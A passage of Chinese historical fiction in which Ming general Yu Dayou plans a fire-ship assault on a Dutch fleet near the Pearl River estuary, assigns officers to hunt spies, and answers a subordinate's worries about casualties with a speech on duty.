“第二路,”俞大猷手指移向荷兰舰队泊地,“由本帅亲自坐镇,以广东水师剩余战船,并挑选敢死之士,多备火船、火药、烟罐等物,伴作继续与红毛夷周旋谈判,麻痹其心。待胡、卢二位将军那边打响,红毛夷必会惊疑,或观望,或试图支援‘黑蛟帮’。届时,本帅将率敢死船队,趁其不备,或借风向水流,以火船突袭其舰队!不求全歼,但求搅乱其阵型,焚毁其一二艘大舰,使其胆寒,不敢再窥我珠江口!同时,陆文渊大人需坐镇广州,安抚民心,严防内奸作乱,并设法联络澳门葡萄牙人,若能使其坚守甚至配合作战,则更佳。” “沈炼、朱影,”俞大猷看向二人,“你二人继续深挖内奸,尤其注意红毛夷与‘黑蛟帮’之间的联络渠道。若能截获其关键通信,或擒获其重要信使,对作战大有裨益。同时,严密监控广州城内,凡有与赵文华案可能牵连者,或形迹可疑、试图向外传递消息者,一律秘密控制,待战后再行审理!” 众人肃然,齐声应道:“末将(下官)遵命!” 俞大猷目光炯炯,扫过每一张坚毅或凝重的面孔,最后沉声道:“此战,关乎国运,关乎东南千万生灵,亦关乎我大明水师之荣辱!陛下在京城,翘首以盼捷报!望诸君,同心戮力,奋勇杀敌,扬我国威于海上!若有畏敌不前者,本帅尚方宝剑,定斩不饶!若有建功立业者,本帅必奏明圣上,不吝封赏!都去准备吧!” “是!” 众人领命而去,行辕内只剩下俞大猷与陆文渊。陆文渊面带忧色:“大帅,分兵两路,同时应对‘黑蛟帮’与红毛夷,是否太过冒险?尤其红毛夷舰炮凶猛,火船突袭,恐难近身,伤亡必重。” 俞大猷抚须,望向窗外沉沉的夜色,缓缓道:“文渊,用兵之道,在于出其不意,攻其不备。红毛夷自恃船坚炮利,骄横已极,绝不会料到我敢以残破之广东水师,主动发起火攻。且其注意力,必被大星簪方向的战事所吸引。此正可乘之机。至于伤亡……”他眼中闪过一丝痛色,但旋即被坚毅取代,“为国捐躯,马革裹尸,乃军人本分!只要能重创夷酋,保海疆安宁,些许牺牲,值得!陛下将东南托付于我,我俞大猷,岂能惜此残躯,畏缩不前?” 陆文渊肃然起敬,深深一揖:“大帅忠勇,下官佩服。广州城内,下官必竭尽全力,保后方无虞,静候大帅捷报!”